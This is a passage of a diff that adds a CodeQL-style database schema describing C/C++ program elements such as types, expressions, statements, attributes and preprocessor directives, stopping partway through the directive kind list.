+#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/* + Built-in types are the fundamental types, e.g., integral, floating, and void. + + case @builtintype.kind of + 1 = error + | 2 = unknown + | 3 = void + | 4 = boolean + | 5 = char + | 6 = unsigned_char + | 7 = signed_char + | 8 = short + | 9 = unsigned_short + | 10 = signed_short + | 11 = int + | 12 = unsigned_int + | 13 = signed_int + | 14 = long + | 15 = unsigned_long + | 16 = signed_long + | 17 = long_long + | 18 = unsigned_long_long + | 19 = signed_long_long + | 20 = __int8 // Microsoft-specific + | 21 = __int16 // Microsoft-specific + | 22 = __int32 // Microsoft-specific + | 23 = __int64 // Microsoft-specific + | 24 = float + | 25 = double + | 26 = long_double + | 27 = _Complex_float // C99-specific + | 28 = _Complex_double // C99-specific + | 29 = _Complex_long double // C99-specific + | 30 = _Imaginary_float // C99-specific + | 31 = _Imaginary_double // C99-specific + | 32 = _Imaginary_long_double // C99-specific + | 33 = wchar_t // Microsoft-specific + | 34 = decltype_nullptr // C++11 + | 35 = __int128 + | 36 = unsigned___int128 + | 37 = signed___int128 + | 38 = __float128 + | 39 = _Complex___float128 + | 40 = _Decimal32 + | 41 = _Decimal64 + | 42 = _Decimal128 + | 43 = char16_t + | 44 = char32_t + | 45 = _Float32 + | 46 = _Float32x + | 47 = _Float64 + | 48 = _Float64x + | 49 = _Float128 + | 50 = _Float128x + | 51 = char8_t + ; +*/ +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/* + Derived types are types that are directly derived from existing types and + point to, refer to, transform type data to return a new type. + + case @derivedtype.kind of + 1 = pointer + | 2 = reference + | 3 = type_with_specifiers + | 4 = array + | 5 = gnu_vector + | 6 = routineptr + | 7 = routinereference + | 8 = rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated + | 10 = block + ; +*/ +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +decltypes( + unique int id: @decltype, + int expr: @expr ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* + case @usertype.kind of + 1 = struct + | 2 = class + | 3 = union + | 4 = enum + | 5 = typedef // classic C: typedef typedef type name + | 6 = template + | 7 = template_parameter + | 8 = template_template_parameter + | 9 = proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated + | 13 = scoped_enum + | 14 = using_alias // a using name = type style typedef + ; +*/ +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + unique string uuid: string ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +is_proxy_class_for( + unique int id: @usertype ref, + unique int templ_param_id: @usertype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the EDG frontend. See symbol_ref.h there. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +/* + Fixed point types + precision(1) = short, precision(2) = default, precision(3) = long + is_unsigned(1) = unsigned is_unsigned(2) = signed + is_fract_type(1) = declared with _Fract + saturating(1) = declared with _Sat +*/ +/* TODO +fixedpointtypes( + unique int id: @fixedpointtype, + int precision: int ref, + int is_unsigned: int ref, + int is_fract_type: int ref, + int saturating: int ref); +*/ + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + /* TODO | @fixedpointtype */ + | @routinetype + | @ptrtomember + | @decltype; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall(unique int caller: @funbindexpr ref, int kind: int ref); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + | @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr + +@assign_expr = @assignexpr | @assign_op_expr + +/* + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 3 = size_and_alignment + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // EDG internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + ; + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. + */ +#keyset[aggregate, field] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. + */ +#keyset[aggregate, element_index] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@runtime_sizeof_or_alignof = @runtime_sizeof | @runtime_alignof; + +sizeof_bind( + unique int expr: @runtime_sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +for_initialization( + unique int for_stmt: @stmt_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@functionorblock = @function | @stmt_block; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @functionorblock ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 